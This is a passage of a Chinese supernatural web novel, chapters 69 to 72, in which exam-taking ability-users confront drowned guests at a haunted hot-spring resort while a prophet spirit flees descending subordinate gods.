“明明没有任何问题!” 那位都成至高神了,当然想看谁看谁,祂就是想做点儿别的, 他敢说一个不字吗! 江亦宁:“……” 算了, 这是个瞎子。 他又看向小队中的赵一清, 然而那是个A班的家伙,对江秉烛的滤镜深到了一定程度,瞎得比陆文泽更上一层楼。 旁邊的两个人一个都指望不上,江亦宁试图向先知求助,可是就连先知似乎也并没有从江秉烛的举动中察覺到太多異样,只让他将眼光放得长远一些,不要把时间浪费在区区一个凡人身上。 难道真的是自己想太多了? 江亦宁小心翼翼地从余光中打量着江秉烛。黑发少年不知什么时候,又一派平静的样子, 看着眼前的一片虚空发呆。 仿佛刚才那个堪称诡異的笑,只是他的错覺而已。 —— 考核即将开始,他们需要四人一组, 前往京郊的温泉山莊解决那里的诡異事件。 临出发前, 江秉烛朝看台的方向望了一眼。 周夜阑站在人群里,依然非常显眼,不知道是因为那一脑袋让人看着就想揉乱的金发、过分考究的装束, 还是些别的什么。 可能是因为听了这家伙的小故事, 对于那些失落的记忆, 江秉烛有了一点模糊的印象。 他和周夜阑最初的见面绝对称不上愉快, 打过几场,没有分出勝负,但那种感覺很微妙。 ——他能预判得到对方的下一个动作,对手却偏偏也能预料到他的。他们两个尚未决出勝负,或许会因为一念之间的抉择而成功或落败,也可能永远都分不出胜负。 有这样一个对手是桩烦心事,但在拥有共同的敌人时,也是一件好事。 那时候,周夜阑与他的處境相似,他们都在被旧神追逐、都要求生,所以轻而易举地達成了合作。但这场合作或许不会长久,因为他们都想要杀死旧神。 他们也都想成神。 不过时至今日,江秉烛并不记得自己在神戰之后,和任何一个存在在至高神位上发生过争夺,反而只记得很久以前,在他和周夜阑心照不宣地達成那个总有一天要破裂的合作之后,那家伙说:“既然是队友了,我们也需要一个标志。” “标志?” 他不是很懂。 通常来说,诡異世界任何智慧生物之间的合作都会订下契约。尽管高位的存在并不总是仁慈,有着一万种方法扭曲着达成原本的合作,但这样一类契约在危机重重的诡异世界仍然没被抛弃,便说明它多少能起到一定作用。 然而,他和周夜阑都提防着彼此,类似的契约绝不可能签订。 连契约都没有,还需要什么标志吗? 奇奇怪怪的仪式感又出现了。 周夜阑这个人,真是不管到了什么地方,性格都没變过。 江秉烛想着,却下意识抬起手,自然地身前点了两下,比了一个十分复杂的手势。 看台上,周夜阑和江秉烛遥遥相望着,复刻出了完全一样的手势。 陆景明在他旁邊站着,看见这一幕,奇道:“小江也会这个手势?你竟然肯教他?” 说来很奇怪,那个手势是复杂了一点,但并没有太高难度的姿势。可陆景明试了几次,从来没成功过,他问过周夜阑。对方一如既往地在做谜语人——只要他不想,别人总是什么都猜不出来。 但这一次,周夜阑倒是回答了。 “不,”他摇头,“是他教我的。” “诶?”陆景明一愣,“那这是什么意思?” 其实,一开始并没有什么特别的意思,周夜阑慢慢地想。 那只是他对仪式感的一些无伤大雅的小小追求,但好像从某个细微的时刻、再到很多很多几乎数不清的瞬间里,这个姿势漸漸地有了一些含义。 ——只要你需要,我永远会赶到你的身边。 即使他们那时都尚未明白。 —— 京郊,温泉山莊。 这里靠近京城附近的一片火山群,以温泉而格外闻名,曾经是有钱人很喜欢来的一處网红郊游胜地。整座山莊修建得极为考究,其中有上百个风格各不相同的院落,供尊贵的客人们进行挑选。 曾经,温泉山莊每天人前都人潮熙攘,直到几年前,另一家京郊别院落成,通过激烈的商戰吸引走了大部分客流。 红极一时的温泉山庄现在變得门可罗雀,只剩下从外城来京,想要通过相对低廉的价格享受一下有钱生活的游客还会住进这里。对于已经失去了流量的地方,京城人很少给出任何关注。 以至于最初的求援信号发出一周之后,京城中枢局才终于开始着手处理。 起先,监管部门收到的,是一些客人的投訴来电。 “这里的温泉好像不太对劲,我在这里住了两天,但是总能闻到奇怪的味道。不是硫磺,也不是附近植物的气息,它很明显。” “除了我之外好像没人闻到,但我很确信这不是错觉!那个味道在變得越来越強烈,它几乎熏得我睡不着觉!这里肯定有什么安全隐患,你们京城的人不来处理吗!” “不过,泡在温泉里的时候,奇怪的味道会变淡很多。这里的温泉很舒服、非常舒服,如果我是一条魚,应该会很幸福吧,可以一直一直躺在里面,不用害怕泡得太久,把皮肤泡满皱纹……” 这些投訴说到最后,都变得有些不正常了。 更不对劲的是,温泉山庄收到的投訴来自十几位不同的客人,他们都声称自己在温泉里闻到了奇怪的味道,而其它人没有任何察觉。 事实显然并非如此——大部分人都因为温泉的味道而感到不适。客人们的投诉不像在说谎,他们确实得到过否定的回答,但给予他们答案的是不是人、究竟是些什么存在,就是一个很难回答的问题了。 而尽管投诉电话不断,整整一周过去,温泉山庄只有游客进去,没有任何人離开。 他们是不想離开,还是已经不能離开了? 京城中枢局介入调查之后,很快就为温泉山庄的屡次投诉定了性——诡异的力量覆盖了京郊的火山群,温泉边的奇怪气味便是这该诡异存在的特征。 它对客人们的认知进行了扭曲,将他们強行留了下来。 经过初步测定,这里的诡异级别大约在六到七级之间,刚好符合特级异能者考核的标准,时间又对得上。解决温泉山庄中出现的诡异生物,并尽可能多地将被困的客人们帶出。 当然,他们的行动已经完了一周,京城中枢局的人对此不报太大期望。 好在这次行动的看点主要是参与考核的异能者们,至于那些倒霉的客人,他们既没有强大的异能,又并不来自显赫的家族,这里的大多数人都不在意他们的死活。 温泉山庄外,赵一清简要地过了一遍这个任务的重点。论起细致,他比不上同在A班的黎雙白,但大概是在诡异世界求生的时间久了,他也逐渐培养出了一种自己独有的直觉。 或许是由于这种直觉的引导,他在那十几位投诉过温泉山庄的游客的资料上,多看了几眼。 此外,他和小队中的其余三人再次确认了地图,尤其是江秉烛。 “你一定要待在我身边,”赵一清嘱咐道,“防护咒离我越近,起到的效果越好。其它魔法大多需要吟唱,我们如果距离太远,我没办法及时保护你。” 江秉烛盯着手机上温泉山庄的介绍网页,仔仔细细地翻阅着,抽空点了下头。 他之前对幽帝行宫的建筑风格极为欣赏,但温泉山庄的设计也很不错,尤其是里面的汤池,不管是色彩还是形状的搭配,都有有许多值得借鉴的地方。 最重要的是,这里可以养魚呢! 先知最后选择了这里,实在是太符合他的心愿了。 江秉烛想着,心情都明媚了起来,脸上帶着淡淡的微笑,和三名同伴一起走进温泉山庄的正门,沿着汉白玉的台阶拾级而上。 在前进过程中,他们并没有感受到任何阻拦,在登上台阶后,在场的异能者们也并没有明显的异样感受。 但是,温泉山庄却在此刻变得热闹起来。 汤池上蒸腾着热气,披着浴袍的客人们三五成群,漫步在修整得当的园林中。他们白皙的皮肤上泛着健康的血色,每个人脸上都洋溢着热情的笑容。 在看到四人时,还有一位客人停了下来,笑盈盈地走过来。 “你们怎么不换浴袍?”他问,“这里可是享誉京城的温泉山庄,纯天然的温泉,里面蕴含着有益人体健康的#%,%&*,让小孩子头脑灵光,年轻人强身健体,老年人延年益寿。错过一次,要遗憾一辈子呢!” 哇,连他都觉得好生硬的广告词。 江秉烛想了想,发现温泉山庄在之前的商战中输掉,实在是一件合情合理的事情。 这时候,赵一清警觉地把他往后拉了拉。 根据已有的情报,他们在这里见到的客人很可能并不是真实的人类,而是诡异生物制造出的迷惑人的幻觉。 和这些不明生物进行过多交流不是好事,他们很可能在不知情的情况下遭到污染。 江亦宁和陆文泽打了一样的主意,不约而同地向后退了一步。 仅仅是一步而已。 周围的空气忽然像是凝固了一样,闷热的水汽萦绕在空间里,温度因此变得很高。他们觉得自己喘不过气,就像站在桑拿房里一样。 在那个瞬间,原来离他们还有几米的客人靠近了,鼻子几乎贴到赵一清的鼻尖! 边上的其余浴袍客人们也停下腳步,以同样的姿势靠了过来,不说话,只是静静地站着。 水珠从他们的湿漉漉的头发上、从还没被浴袍擦干的身体上淌下来。 “滴答、滴答”。 前方和后方都无路可退,赵一清微微动着嘴唇,低声开始净化术的吟唱。但在突然之间,他意识到一件事。 ——站在自己面前的不是别人,正是投诉过温泉山庄的奇怪味道,后来又沉迷于泡温泉的那一位客人! 他这个状态,显然是不正常的。 赵一清有点僵硬地移动自己的目光,而那名客人的眼神如影随形,跟着他视线的方向一起低下头。 出现在他视野里的,是一雙比普通人大了几倍的赤裸腳掌。 那双脚像是被什么东西撑得鼓起来了一样,边缘皱皱巴巴的。它的皮肤有一种不正常的青白色,仔细看时,有几处地方的表皮层已经脱落了,留下一片一片鱼鳞般的痕迹。 仿佛察觉到了赵一清的目光,距他咫尺之遥的那位客人笑了起来。 他们离得太近了,赵一清能感受到客人声带的震动带动着松垮的皮肤开始发颤,有某种黏黏糊糊的东西落在他的下巴上。 客人似乎在笑着发问: “你为什么不换浴袍?” “你为什么不和我们泡温泉?” “你不会觉得……这是个奇怪的地方吧?” 他话音落下,赵一清闻到一种刺鼻的、难以形容的味道在整个空间爆开。 【作者有话说】 不好意思来得晚了很多! 本章评论区随机30个小红包[爆哭] 第70章 那个味道非常呛人。 在这一刻, 赵一清发现客人在电话中的投诉还是太过于保守,“奇怪”两个字根本不足以形容这样的味道。 腐烂的、酸臭的、咸腥的,比酷暑天里放了几天不曾清理的垃圾的味道还要浓郁, 以一种特殊的方式刺激着人类的感官, 令他们本能的感到恐惧。 温泉山莊再没落,客人们也大多来自和平的地区。他们自己或许都不明白这气味意味着什么。 但赵一清在诡異世界待过一整年,他很清楚的知道, 这是尸臭。 是尸体被长时间浸泡在水里, 然后腐烂的味道! 不知道掺杂了脑浆还是血浆的黏液滴落在脸上, 赵一清根本不敢抬头去看,只能用眼睛死死盯着地面。 他的目光凝聚在那双“客人”的脚掌上,经水浸泡后而脫落的皮肤上密布着大大小小的空洞,细小的白色蠕虫在其中钻来钻去,不时带出一些几近凝固的红褐色血块,直到被长长的浴袍遮盖住的小腿位置。 最后一通电话里,客人说他们沉在温泉中时,便闻不到这种刺鼻的尸臭了。 起初, 中枢局对此的判断是,山莊中的诡異生物对周边进行了操纵,而温泉就是他们力量的载体之一, 才会吸引遊客沉迷其中。 但……这或许并不是唯一的原因。 周边的“客人们”围上来, 赵一清看着他们如出一辙的、不知在水中浸泡了多久的腐烂脚掌,有点僵硬地想。 ——人如果死了,也是闻不到味道的。 可惜的是, 意识到这一点, 对他们现在的处境没有任何帮助。 直觉告诉他, 眼前这些死去的“客人”非常危险, 想要脫身必然要经过一场恶战。而现在离得过近的距离,无疑为此增加了更多难度。 赵一清拉着江秉燭,确保他还在自己身后,然后压低声音:“你把幽帝行宫里的金簪拿出来,现在只有它能保证你的安全。” “等下看我的手势,你……” “没事,”江秉燭忽然说。 一如既往,他的语气淡淡的,但此刻在赵一清听来,竟然有些像个安慰。 異能低微,眼下处境最为危险的江秉燭安慰他吗? 还没等他理清头绪,江秉燭已经抽开手,泰然自若地往前走了一步。 隨着他的脚步向前,原本贴得很近的那些行尸反倒往后退了一点。 “不是要去泡温泉吗?”江秉烛歪了歪头,很自然地提出疑问,“你们在这里挡着,我们怎么过去呢?” 空气静了一瞬。 披着浴袍的行尸们抬起头,彼此对视了一眼,然后纷纷让开了路。 离赵一清最近的那位客人哈哈笑了两声,诚恳道:“不好意思,是我们的错。” “你喜歡这里的温泉?真少见啊,现在像你这么有眼光的年輕人不多了!” 江秉烛:“看着还可以。” 他自己对泡温泉兴趣不大,但这里不同汤池的设计很有意思,近距离看看也不错。 “如果亲自体验,感觉只会更好!”面前的客人显然误解了他的意思,主动说,“更衣室在前方一百米,从那里出去左拐,步行两分钟就可以到达温泉山莊的第一座汤池,“京华池”。它修建于……” 客人的介紹热情而详细,用词官方极了,和景点导览器里的解说词一模一样。 江秉烛打了个哈欠,没听后面的解说,径自往更衣室走去。 他的行动没有受到任何阻拦,那些客人们甚至还聚在一起感叹:“多好的年輕人啊,他一定会喜歡这里的!” 如果忽略他们身上不停滴答的诡異液体和那股仍未消失的呛人尸臭,这场面还挺有愛的。 但一群被泡发了的人类讨论这些,未免就太叫人毛骨悚然了。 陸文澤想都没想,紧紧跟在江秉烛身后,动作比赵一清还快了一点。 赵一清虽然也跟了上去,却多少有些忧心。 当前的危機虽然接触了,但形势依然不容乐观。目前看来,在这里行事需要遵循的标准便是“泡温泉”,一旦表现出排斥的态度,便会遭来被异化的客人的袭击。 按照要求,去泡温泉固然能够化解眼前的麻烦,但看看那些客人们的死状,汤池中隐藏着的,可能才是这片温泉山莊最大的风险。 在他们身后,只有江亦宁尚未行动。 在他脑海里,先知低笑了两声。 “你家那个真少爷还挺機灵,给自己找了條生路。” 江亦宁咬了下牙。他就知道,江秉烛平常示人的形象都是装的,那家伙前几次和自己对峙的时候,分明狡诈得很! 先知没关心他的想法,反而问道:“你以为,在这里造成异样的诡异生物,是什么等级?” “中枢局给的评估是六到七级,但就我感受到的诡气,他们的评估给低了,真正在这里作祟的,一定达到了神選者的标准,”江亦宁说,“但有老师您在,不管是什么诡异生物,一定会俯首稱臣!” “神選者?”先知却意味不明地笑了一下,“上至从神,下至刚刚迈入超凡境界的人类,你这个范围,给得实在太宽了。” “我不妨告诉你,在这里苏醒的,可是比你们那个皇權化身更厉害的家伙。不然,我也不会在祂身上,看到复苏的契机。” 竟能比皇權化身更强?! 江亦宁这些天在中枢局问话,那些异能者的字里行间,都透露着对皇权化身的敬畏。他也因此终于得知,京城三大世家常年的兴盛,究竟和那位有着多么强大的联系。 那可是在他们眼中,接近于神的存在! 而一个小小的温泉山庄,竟然有着他们都不知道的、更厉害的存在?! “那么,我该做些什么呢?”江亦宁问。 “更衣,”先知说,“那几个人,包括你最恨的那个真少爷,很快就会像其他人一样,沉进温泉底,再也没办法活着出来。” “但你要去的,是这里。” 先知在江亦宁耳畔低语。 江亦宁脸上,隨之露出一个了然的笑。 —— 不久之后,除江亦宁外,剩下的一行三人从更衣室中走了出来。 陸文澤脸上带着痛苦的表情,几乎不想让浴袍接触到自己的身体。 ——那实在是太脏了,落了好几层灰,还有好几條浴巾上沾满了触目惊心的暗红色血液。 为了活着从这里出去,陆文泽挑挑拣拣半天,才选到一件稍微干净点的穿上。 好在他从更衣室出来时,看到了赵一清同样不好看的脸色,让他多少感到了一丝平衡。 然后,他便看见了江秉烛。 那位不知道在玩什么小遊戏的至高神明出来得比他们都早,身上穿着的却不是温泉山庄的特制浴袍。 他穿着的浴袍是黑色的,看材质像是真丝,在阳光下流动着绚丽的华光。浴袍前襟微微敞开,腰间的腰带松散地系着。略长的衣摆过膝,只露出浴袍主人一截白皙而线条优美的小腿。 远远看过去,不像要去泡澡,倒像是哪里的贵族穿着晨衣,要去参加宴会。 至高神大人还怪精致的啊。 陆文泽脑子里突然迸出一个不合时宜的想法。然后他缩了下脖子,生怕自己的不敬又被不该听见的人发现。 江秉烛确实没有人类那么多讲究,也懒得入乡随俗,他进更衣室,只是为了抄条近道。 是他披在身上的黑色大衣悄悄的换了个款式,主动变成了更轻薄的浴袍,不过质感依旧柔软。 省事还舒服,江秉烛对此挺满意。 直到听见陆文泽心底的碎碎念时才发现,这衣服真挺符合某个人那精致得不行的态度。 他想着,摸了摸袖口,毫不意外地在那里摸到了一个象征着至高神的暗纹。 江秉烛忽然觉得很开心。 他想起了一点堪稱模糊的记忆——虽然画面中的面孔都不真切,但他肯定是和周夜阑在一起,看一池五颜六色的,尾巴又大又长的鱼。 他说:“它们还活着?我以为前几年就该死了。” “我只是用了一点很小的技巧,”周夜阑说。 “我并没有感受到诡气。” “不是只有异能才会被称作技巧,烛,”周夜阑好像笑了一下,然后温柔地说,“即使有的生命非常短暂,它也有办法陪伴你,比你想象中的时间更长。” 又在骗人了。 江秉烛面无表情地扯了下浴袍的领子。 他在深渊里养过一池又一池的鱼,养得小心翼翼,甚至从人类那里学习了许多技巧。 但它们无一例外地死了,没有一条能活过半年。 鱼就是一种容易死的、脆弱的生物,哪怕它们种群里最长寿的,也只能活一百多年而已。 在他漫长到没有尽头的生命里,短暂得不过一个眨眼。 所以……还是现在的鱼好,江秉烛想。 自己马上就要把它们全部找回来了。 他没等身后的陆文泽和赵一清,略过了被行尸客人热情介紹过的温泉行宫的前几个汤池,走向山庄正中心。 路上他又遇到了许多在水里泡了很久的人类,好心地向他介绍自己热愛的汤池,但都被江秉烛一一回绝了。 温泉山庄是围绕着京郊的火山群建立的,它最开始宣传的噱头,便是山庄正中心的那口天然温泉。 一开始,人们都爱去那里,不惜排起长队,几天几天的等。 这样的盛景持续了很多年,久到温泉山庄都因为络绎不绝的人潮和游客们的欢欣而活化,生出了自己的灵性。 然后,竞品出现了。 修建得更早、更旧的温泉山庄被游客们厌倦、被大众遗忘、被它最初的兴建者们视为累赘,千方百计地想要脱手。 这激怒了已经活化的温泉山庄,它用自己的方式,将它的老板们永远地留在了这里。 作为诡异生物,它的举动其实不算明智,江秉烛想。 温泉山庄的老板们很富有,将他们作为第一个目标,很容易引来中枢局的调查。在不够强大的情况下这样做,会死得相当迅速。 但不得不承认,温泉山庄也非常好运。 它对于游客的极度渴求,巧合地唤醒了沉睡在这片火山群下很久的存在。 因为在远古的时代被人类崇拜、敬畏而出现,又在近些年里越发衰弱,不得不陷入沉睡。 人类活动兴盛的地方,出现的诡异都和他们那里不太一样呢。 江秉烛思索片刻,觉得祂大概可以被称为“自然之神”。如果人类对祂的敬仰再持续得久一些,祂便能成为这个位面唯一的、真正的神祇。 不过世界上是没有如果的。 强烈的执念令温泉山庄与自然之神融合在一起,而温泉山庄正中央的那口天然温泉,便成为了这里最特殊的地方。 在两个渴望回到过去、回到最鼎盛的时代的诡异存在的执念之下,天然温泉的泉水拥有了别样的功效。 ——它可以让人回到,自己最想回到的那个瞬间。 中央温泉池旁,江亦宁依照先知的指示步入其中,温热的泉水先后漫过他的小腿、膝盖和腰。 直到整个人都没进水里时,他忽然感受到一种与众不同的力量。 江亦宁心神一震,从水面下浮起来,抬眼看着天空。 一道修长的、身着白袍的人影凌空而站,白色的长发拖到脚踝。祂手中拿着一卷发黄的羊皮纸,神圣而高贵,形象恰如所有故事中,能够预言一切的存在。 “老师,是您吗……?” 江亦宁喃喃出声。 在他上方,那道白色的影子正要点头,动作忽然一僵! 京城范围内,有一道、不,无数道超乎寻常想象的可怖气息突然出现。 锁定了的“先知”的方向! 【作者有话说】 本章评论区还是随机30个小红包~魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 70-80 第71章 京城中, 两年一度的特级异能者考核进行的如火如荼。 除了被分到温泉山莊的四人以外,其余异能者在处理的事件都遠没有那么复杂。到了现在,基本已经找到了真正的詭异生物, 与他们进行战斗。 这次的分组挺巧, 金祈安和譚慧被分到了一组,虽然他们算不上熟悉,但两个人都和江秉烛关系不错, 也因为相似的坏运气同生共死过几次了, 到目前为止进行的竞争都很和谐, 有必要时还会互相帮上一把。 按照现在的形势估算,金祈安估计自己很难胜过自水族馆一别后就脱胎换骨的譚慧,但他應该能赢得特级异能者的席位,以后在处理第二城的詭异事件时,能够获得更多话语权。 这对他来说,便是很好的结果了。 他正觉得自己前途光明,忽然感受到了一股很不妙的气息从天而降。 在金祈安明白过来发生了什么之前,他的身体先做出了反應, 本能地往后退! 可是那股气息铺天盖地,涉及的范围太过庞大,几乎将整座京城都笼罩其中。金祈安有种感觉, 受到影响的不止是京城, 周邊的所有城市都不能幸免于难——即将出现在这里的,是极其恐怖的存在,没有任何人能在这里, 这种情況下, 再向哪里逃跑, 都无济于事了。 在金祈安不遠处, 譚慧的脸色比他还难看。而他们正在追捕的七级詭异生物直接从混战中抽身,不惜吃下他们的一击,也要向远方逃跑。 但它没能脱逃。 詭异生物被迫现出了实体,庞大的身躯挤占了整个空间。在場的异能者们的身体紧紧贴着墙壁,然后他们眼睁睁地看着诡异生物的身上的诡气被看不见的存在硬生生抽离,不断涌向虚空中的一个地方。于此同时,它的身体飛快地瘪了下去,像一个被放干了气的气球,最后只剩一层皮囊。 到了这个时候,那诡异生物还活着。但在诡气被吸收干净后,它的生命力也被一点点抽取,直到彻底失去任何价值,就地化成了飛灰。 不到一秒的时间,一只棘手的诡异生物便以一种被凌迟般的样子死在了他们面前,甚至连挣扎都做不出一下。 金祈安感到前所未有的恐慌。 他现在终于知道发生什么了,因为他的靈魂也在跟着颤栗。 ——高位存在、很多他根本难以想象的高位存在降臨了! 只有那种层次高到一定程度的高位存在才能做到现在这样,连面都不露,便轻而易举地吸取走低位者的异能和生命力。 祂如果想要其它人类的命,也不过需要一个念头而已。自己还活着,大概只是因为太过弱小,没能引起对方的注意。 可是,自己又能安全多久呢? 金祈安绝望地想着。在经过这么多事情后,他对诡异世界的了解更进一步,根据他的经验判断,出现在这里的,很有可能是一位从神! 但是就他所知,现在的从神只有至高神殿的那四位。但祂们信奉的神明早已成为所有位面的至高存在,既没可能,也并无必要做出这样的事情来才对! 那就是……还有其它从神的存在? 想到这里,金祈安觉得后背阵阵发凉,一束似有似无的视线扫了过来,在他身上停留了一瞬! 即便那视线只停留了不到一秒便飞速离开,金祈安背后仍然立刻被冷汗浸湿了,他整个人都在颤抖,过了好一会儿,声带也没能正常发出声音。 还是旁邊的谭慧注意到他的异样,停下了那个祈祷般的动作,过来搀扶了他一把。 金祈安向谭慧投去感激的目光,同时停下思绪,不敢继续思索,怕引来那些存在的更多注视。 他或许应该庆幸,因为自己太过渺小,那些天外的从神并未在他身上投来太多关注。 但不幸的是,在那只七级的诡异生物被吸收干净后,他们所处的空间忽然折叠了起来,像是一张白纸,被无形的手揉搓成团,隨意扔向了什么地方—— 金祈安感到一阵天旋地转,他的身体隨着空间的變化跟着變形,被捏扁、拉长。那些高位存在的力量并未刻意在他身上施加,却有一万种辦法令他被毀灭得彻底。 而在那些从神眼里,他们这个诡气稀薄的弱小位面,大概也不会有任何特别。 不知过了多久,金祈安被重重的摔在地上。地面很滑,遍布着水渍,周围是天然温泉特有的硫磺味与蒸腾的热气。 本来在他身边的谭慧被传送到了很远的地方,现在在他旁边的,是其它被摔得七荤八素的参加了考核的异能者们。 所有人都在惶恐,身为异能者,他们更知道刚刚降臨的那些存在有多么恐怖,却根本想不出祂们的目的。 只有A班的学生在人群中疯狂地寻找着彼此。 眼前这一幕,让他们想起熟悉的画面——当诡异世界在进行那場神战时,同样有无数旧神的信徒被自己的神明吞噬,榨取出最后一丝能量。 他们这些异能者,虽然对其它神明没有信仰,但总也能提供一点异能。在强大的诡异生物都被抽干之后……就该轮到他们了。 换言之,他们是储备粮。 “不、不,还没完,”黎雙白喃喃自语着。 他焦急地扫过全场,看见了陆文泽和赵一清,却始终没有找到江秉烛的身影。 在人群中穿梭时,他忽然看到了谭慧。和其它人不同,在短暂的惊慌后,这名短发女孩展现出一种罕见的冷静,只是雙手搭在胸前,像是一个正在祷告的手势。 黎雙白记得那些关于她的疑点:谭慧疑似信仰着圣教的教主,对方或许立场对人类很不友善,可确实帮助了谭慧,让她在一个月内便有了惊人的进步。 向未知的存在祷告很有风险,但联系到信仰,黎双白脑海中瞬间便出现了一个名号——至高神。 那位主宰着所有位面的最高神明,祂曾经向人类展现过许多善意,祂宽仁地容许了小江的不敬、同意神殿的人向其它异能者传递知识,令自己的从属复活了那些枉死的人类,更将曾被神战毀得千疮百孔的诡异大陆恢复如初…… 抛却祂的仁慈,如今在这里兴风作浪的,很有可能是祂昔日的敌人。 黎双白抱着最后一丝期望,将双手合在胸前,于绝望之中,虔诚地闭上双眼。 至高神大人啊,如果您肯再降下一点恩泽,请庇佑这个世界,不要毁灭于诡异的侵袭。 或者,至少让那些本不该出现在这里的普通人,活着回家。 —— 温泉山莊中央,先知那张充满神圣气息的面容上,违和地浮现出一点疑惑。 祂知道降临这里的是谁——那几名从神和祂也算多年的旧相识,在神明们尚未开始热战前,祂们之间虚与委蛇,结下盟约也是常有的事。 先知并不清楚,在自己的神明被那个该死的家夥害死后,诡异世界对于至高神位的纷争进行到了什么地步,但祂们既然都来到这里,就说明,神战应当是分出胜负了。 对于那里的情況,先知有很多话想问。然而,祂的旧相识们来势汹汹,态度并不友善。就算借助自然之神的泉水回复了一些力量,先知也没有自大到认为自己可以与这么多家夥成为对手。 祂想都没想,转身便向远处遁去,白色的长袍几乎在空中拖出一道残影。 由于自己的靈体寄生在江亦宁身上太久,先知不得不暂时带上了他。 “老师、这……”对于眼前的变故,江亦宁实在猝不及防。 他看到先知露出那神祇一般的形象,激动的时间还不到一秒,便被抓着在路上逃命。 这实在太奇怪了! 先知和那位光与火之神是什么神缘,怎么刚刚露头就到处被人追的啊! 现在的情况对自己很不利,江亦宁立刻判断。他向来很擅长分析局势的走向,他能在江家垮台前夕想到辦法和江家三人切割,在这个先知几乎没有赢面的时候,或许也能找到一些途径,不受祂的牵连。 他的心思飞快转动,却并没有逃过先知的眼睛。 “你真以为我孤立无援,没有办法?”先知冷哼一声,“若非通晓万事、能预见未来,祂们又怎么会将我称作‘先知’?” 祂话音落下,一根根纯白的、点缀着红色火焰的立柱拔地而起,顷刻间在温泉山庄中,搭建起一座高耸入云的神殿! 随着红白色神殿的出现,他们的面前出现了许多细微的黑色裂纹,整个位面都仿佛因为成熟不住这样的力量,而在不断崩裂。 身后的追兵被陡然出现的神殿阻拦了片刻,先知的目光流连在那些高大威严的立柱上,描摹着祂阔别已久的、光与火之神恢弘的神殿。 自然之神的力量可以让人回到最想回到的那个瞬间。这指得不仅仅是祂的状态,也包括了当时的那些场景。 先知当然清楚,自己最想回到过去的哪一刻,而祂能看见命运之河的流向,自然也注意到未来可能发生的危机。 作为光与火之神曾经的从神,在这座神殿里,祂能够调遣到更多力量,这一切便是祂为自己准备的后手! 但这还不是全部。 先知仍在向特定的方向移动,在那里,有着被人类成为“教主”的存在。 而对祂来说,那个“教主”身上,有着祂信仰的神灵的气息! 【作者有话说】 本章评论区还是随机30个小红包,辛苦大家等待[爆哭] 第72章 在从神这样的存在面前, 偌大一座溫泉山庄也變得格外渺小。 一瞬之间,先知便借助神殿的力量和身后的从神交手了几个来回,祂们动用的能量与權柄带起无数异象, 讓天地为之變色。 被扔到这里的异能者们全部抬着头, 紧張地关注着剧烈變幻的天色,但他们完全跟不上上方战局的节奏,只能看见黑沉的天幕向所有人压下来, 而里面流泻出的一点点气息, 都足以令他们胆战心惊。 他们注意到, 在那些能量与光源的来处,世界甚至都出现了细小的裂痕,仿佛要在那种超限的能量下裂开。 这是任何人类认知中的詭异生物都做不到的事情。 “詭异入侵……这是詭异入侵,”人群中有人颤抖着说,“该死的,这一天终于还是来了!” 从詭异事件发生得越来越频繁开始,就有声音在担心这件事的发生,担心近千年之前的悲剧再次上演——不管是京城引以为傲的權力还是财富, 在纯粹的诡异下,都显得太脆弱、太渺小了。 而他们身为异能者……在这种情况下,依然无能为力。 就连去过诡异世界两次的A班的学生在这种时候都束手无策, 只能付出自己最后一点精力, 去寻找江秉燭的身影。 ——做点什么,总比站着等死要好。 临出发前,赵一清犹豫了一下, 并没有打断黎双白的祈禱。 他理解黎双白的绝望, 但他们毕竟不是至高神大人真正的虔诚的信徒。就算他们真的无比虔诚, 一位神明又怎么会为了几个人类的祈禱, 而在这样的情况下降临呢? 赵一清在心底苦笑了一下,他想。别说人类了,就是这整个世界,放在那位深渊的至高神眼里,又算得上什么呢? 祂掌握了世间的所有权柄,祂的领地包含了所有位面。 这里对祂而言,并没什么特别。 高天之上,从神们的战斗还在继续。 以祂们压倒性的数量,本应迅速地解决先知,但对方有备而来,那座神殿的幻影阻挡了祂们的脚步,而神殿里的东西,也同样对祂们进行了堵截。 ——在先知回溯的片段中,有光与火之神本尊的存在! 那可是现在的至高神,其它从神一感受到这种气息,立刻没有了激烈追击的心思。 就算这只是幻影中的幻影,还是那位尚未成为至高的时候,但谁知道祂们之间会不会存在联系?万一、哪怕只有一点点可能性,祂不顾自己在这个世界的布局强行降临,祂们今天的行动就不是围剿,而是送死了! 因为那一个影子,许多旧日的从神甚至心生退意,后悔自己被海潮的三言两語说动,用真身降临在这个世界。 ……退得这么轻鬆? 先知有些诧异。 在祂的印象里,这帮从神都是狡诈又狠辣的家伙,即便面对真正的神明,也敢在特定的时机出手,抢夺先机。 难道是近千年来,诡异世界关于神位的斗争把这帮家伙都吓破胆了? 先知并没有想明白其中的原委,却提升了几分警惕,没有一刻的迟疑,继续向“教主”的方向遁去。 当前发生的事情,无疑给了江亦寧不小的信心。 先知与祂的神比自己想象得更强!对他来说,这算得上很好的消息了。 没有了对手的阻拦,先知顺利地循着的“教主”的气息向前。 作为一个能夠窥见未来的存在,即便祂在人类世界极为衰弱,也不会隨便选择人类寄生。 先知选择江亦寧,不仅是因为他的行事风格很对祂胃口,更因为祂在江亦寧身上看到了契机。 ——一个讓祂与自己所信仰的光与火之神重逢的契机。 祂蛰伏多年,终于看到了这一点希望,为此不仅花时间教导江亦寧,还在他的成长途中为他安排诡异生物,除掉他的对手、同时铺垫他的好名声。 先知冥冥中有种预感,这一切努力都在讓祂更向那个契机靠拢。 终于,祂等到了。 从那个教主的出现、到海洋馆、再到后来的一系列事件中,先知察觉得到,那股与光与火之神相似的气息越来越鲜明,而它屡屡指向那个教主。 就算已经殒落,神的气息也不是那么好模仿的。种种迹象都说明,先知走在正确的道路上,祂离自己的神越来越近。 自然之神的泉水的效力仍未过去,祂身后红白相间的神殿依旧在向远方延伸,像个梦似的。 它出现的部分越多,周邊的空间便跟着悄然变幻。溫泉山庄的上的水汽蒸腾,最终化作一片片洁白得像雪一样的云朵,铺垫在大殿的下方,赞颂神明的遥远的祈祷声,从天外传来,化作一首颂歌。 温泉山庄原本应有的模样被改变了,变得越来越像先知记忆中最想要重塑的那个瞬间。 ——光与火之神殒落的那一天。 先知曾经在命运长河中窥见过这个未来,还看见一位又一位神明被那个横空出世的存在杀死。 祂不敢相信,却没有掉以轻心,用另类的途径将这个消息传递了出去,迫使那些疑心深重的神明率先出手,扼杀那个将篡夺神位的危险的敌人。 光与火之神这邊,则派出了祂手下最得力的干将。 但祂们得到的消息并不多,对方狡猾而强大,很少露出行踪。即使在交过几次手之后,祂们也并没摸到篡夺者真正的底细。 